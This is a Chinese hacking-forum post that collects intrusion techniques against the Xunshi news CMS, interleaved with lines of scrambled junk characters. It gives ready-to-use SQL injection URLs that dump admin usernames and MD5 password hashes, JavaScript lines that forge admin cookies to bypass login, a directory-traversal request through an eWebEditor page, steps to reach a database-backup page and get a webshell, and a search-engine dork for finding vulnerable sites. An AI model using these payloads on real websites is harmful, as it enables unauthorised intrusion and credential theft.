讯时漏洞总结

admin

by:血封忆尘
6 _1 P& o- ?- _$ O4 x2 X
0 m, B' t/ b7 V5 S7 K9 z6 C在网上也有什么讯时三板斧的文章..但我个人觉得有时候靠那三种还是入侵不了（随着版本的更新）
4 M( S9 I5 j& A; T3 L/ O( V
! r5 `% U  k; V3 G/ l+ \. Y以下本文总结来自黑防去年第9期杂志上的内容...

先说一个注入吧:http://www.political-security.com/news_more.asp?lm=2 %41nd 1=2 union %53elect 1,2,3,0x3b%

+ u. v" `: y3 B26user,0x3b%26pass,6,7,8 %46rom %41dmin union %53elect * %46rom lm where 1=2

4 _2 m2 e# M1 }  q记得千万别多了空格，我测试站的时候就发现多了空格注入不出结果的情况
6 r3 c% k+ F. s' ]; F这里一个注入
( ?- U1 Y: L. W5 }% J
: j1 ]+ U: n& m$ N( k效果如图:
/ W- g$ g% o6 N+ k0 h! A
' ^5 T' ]& N! O' o0 s! a
* S8 i# Q6 [; k! W% O0 R2 c' N
- u0 d9 Y9 Q0 D4 ]# T; z这样就很轻松可以得到管理用户名与密码..这里md5可以拿去破解.但是现在安全意识的提高.
2 w7 D6 i8 r: y# T9 m
密码复杂了..很难破出来..那么我们可以通过后来cookies欺骗进去

javascript:alert(document.cookie="adminuser="+escape("用户名"));javascript:alert(document.cookie="adminpass="+escape("md5值")); javascript:alert(document.cookie="admindj="+escape("1"));

那么这里就会出现一种情况了..如果后台找不到咋办呢??请看下一漏洞让你更轻松达到你想要的效果:

2 F0 ~' _3 ^0 ]/ A: _因为讯时结合了ewebeditor程序..而它没有在处理的时候忽视了ewebeditor有个可以列目录的漏洞

/ h$ ]# Y& x6 L它是做了验证的..但讯时最没做好的地方就是验证..我们可以通过cookies欺骗来绕过验证.从而可以
9 ]; c( b9 ]9 r8 e
访问这页面来列目录..步骤如下:

javascript:alert(document.cookie="admindj=1")
) [8 b+ d. E1 k- }/ L! R
http://www.political-security.co ... asp?id=46&dir=../..

. G  I2 p) r: P: A* [效果如图:

8 w9 E" V/ c. {
7 d- G$ J9 |; L7 w9 N  j
- f$ F9 Z+ J( C, v" w. W& _* A这样全站目录都能瞧了..找到后台目录..进去..
; C2 F3 |& f7 x; l* \# W& F
那么进了后台怎么拿shell？？上传--备份就ok了..

/ {! d: g. w6 e8 Z那么有时候有些管理在做后台功能的时候把备份页面去掉了...而他本机里备份页面还是存在的..
4 a% X8 t7 u" F
8 M# W% }+ O1 H  v$ u! L1 Q, ?/ y7 n/ k这个我也碰到过一次..你都可以通过列目录来实现..

javascript:alert(document.cookie="admindj=1")
( w- e7 I$ k/ o7 [) r. z* B7 ]
http://www.political-security.co ... p?action=BackupData

: V, {$ w2 }2 |9 g, Y4 N3 d备份ok..
- t# n5 _2 {3 M5 n# @# K
那么以上两个漏洞都被管理封住了...咋办??上面两个是比较常见的..那么下面一个注入漏洞呢?

3 z- L( L; U& s: }, ^& D7 P9 ?在admin目录下有个admin_lm_edit.asp页面..里面的id没有过滤 那么我们就可以先cookies下
7 P1 g1 P% W- O9 o  s2 U: F# O( p
; Q" B' c% \9 l) \( k+ @然后访问此页面进行注入..步骤如下:
1 h. G0 X* T. b& @
8 @& f7 [# b& Q. r4 F8 `, Ujavascript:alert(document.cookie="adminuser=admin");alert(document.cookie="admindj=1")
0 Z$ `; ^- e$ C  P( G0 K
然后请求admin/admin_chk.asp页面
, e4 E2 C" W  ]% f3 V2 G
输入注入语句admin/admin_lm_edit.asp?id=1 %41nd 1=2 union %53elect 1,2,3,4,id%260x3b%

  b: m. W% H% o. T7 V9 c/ a+ S26user%260x3b%26pass,6,7,8%20%46rom%20%41dmin
* p! I% Q. z! o
效果如图所示:



讯时漏洞2
google关键字：inurl:news_more.asp?lm2= （关键字很多的自己定义吧）
8 A" g7 N# U7 p+ F9 |
6 X6 O* N# x, Z! }) A# b2 ~8 r! S1、/admin/admin_news_pl_view.asp?id=1
//id任意 填入以下语句

2、有时1显示错误信息的时候继续往后退2，3，4，我退到11才找到了页面，郁闷！
- S  M/ g- I) J9 P


5 G) ~0 S% X) K/ C2 S! a6 w/ x; c3、|'+dfirst("[user]","[admin]")+chr(124)+dfirst("[pass]","[admin]"),username='



: h. _$ S! M8 [/ v爆出管理员帐号和密码了
% x+ @' _( H0 x7 c
1 t% O4 r% \1 O+ B1 q8 x7 }

2 z9 ^& K8 L  ]" S9 w; e4、cookies进后台

5 v! H- `5 f; F% f# V( {* @javascript:alert(document.cookie="adminuser=" + escape("admin"));alert(document.cookie="adminpass=" + escape("480d6d6b4d57cc903f3bab877248da40"));
( W- u- l" D( ]. u0 M. G
5 D  {: T! p$ t4 m+ E
7 [+ t# @  z+ M
5、后台用了cookie验证，直接访问http://www.political-security.com/admin/admin_index.asp就OK了！



6、后台有上传和备份取SHELL不难。
; A5 S2 L4 p6 ~1 {6 h5 q7 Q
7、讯时还有个列目录漏洞：http://www.political-security.co ... asp?id=46&dir=../..
% }# E1 w2 G; ^5 ~0 Q5 H  D7 B0 W
/ q1 J) a% K; R' R8 |% ^# Z$ v% a逍遥复仇：我搞了一个讯时cms4.1版本的没有数据库备份不知道怎么搞SHELL，有的说虽然后台显示但备份页面是存在的，登录后台后访问 http://www.political-security.com/admin/admin_db_backup.asp?action=BackupData，我这个没有，郁闷着呢，谁还有其他办法提供一下，谢谢！

/ `$ Z& F& V6 j' U* c# Y# ^/ }
$ K" M8 m# @8 j; m
" d* `+ K: U5 D